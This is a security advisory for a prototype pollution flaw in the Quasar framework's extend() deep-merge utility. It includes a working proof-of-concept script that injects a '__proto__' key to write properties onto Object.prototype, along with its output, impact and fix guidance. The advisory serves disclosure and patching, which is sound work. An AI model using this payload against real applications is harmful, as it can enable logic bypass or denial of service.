GHSA-3r53-75j5-3g7j
Quasar: Prototype pollution in the extend() utility
Quick fix
GHSA-3r53-75j5-3g7j — quasar: upgrade to the fixed version with the command below.
npm install quasar@2.22.0 Details
### Summary
`quasar@2.20.1`, the latest published version at the time of testing, appears to be vulnerable to prototype pollution through the public `extend()` utility exported from the package root.
When `extend(true, target, source)` is used for a deep merge, attacker-controlled object keys are recursively copied into the target object without blocking prototype-pollution primitives such as `__proto__`, `constructor`, or `prototype`.
This can allow attacker-controlled properties to be written to `Object.prototype`.
### Details
Affected source:
```text src/utils/extend/extend.js ```
Distributed files include:
```text dist/quasar.server.prod.js dist/quasar.server.prod.cjs dist/quasar.client.js ```
The package root publicly exports `extend`. During deep merge, source object keys are recursively assigned into the target object. If the source object contains an own `__proto__` property, the merge can descend into the prototype object and assign attacker-controlled properties onto `Object.prototype`.
### PoC
```bash rm -rf /tmp/quasar-extend-pp-poc mkdir /tmp/quasar-extend-pp-poc cd /tmp/quasar-extend-pp-poc
npm init -y >/dev/null npm install quasar@2.20.1 vue@3.5.31 >/dev/null
cat > hack.mjs <<'JS' import { extend } from 'quasar';
delete Object.prototype.polluted;
extend(true, {}, { ['__proto__']: { polluted: 'yes' } });
console.log(({}).polluted);
delete Object.prototype.polluted; JS
node ./hack.mjs ```
Observed output:
```text yes ```
Expected output:
```text undefined ```
### Impact
This is a prototype pollution vulnerability.
If an application passes user-controlled or partially user-controlled objects into `extend(true, ...)`, an attacker may be able to pollute `Object.prototype` in the same JavaScript process.
Depending on how the polluted property is later consumed, this may lead to logic bypass, unsafe default option injection, denial of service, or other application-specific security impact.
### Suggested Fix
Reject or safely ignore dangerous keys before assignment, including:
```text __proto__ prototype constructor ```
The merge implementation should also avoid descending into prototype-related properties during recursive merge.
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References
- https://github.com/quasarframework/quasar/security/advisories/GHSA-3r53-75j5-3g7j [WEB]
- https://github.com/quasarframework/quasar/commit/d0a95d95ab3c29d13e1b8ba8c5e5025fd6ce35e7 [WEB]
- https://github.com/quasarframework/quasar [PACKAGE]
- https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0 [WEB]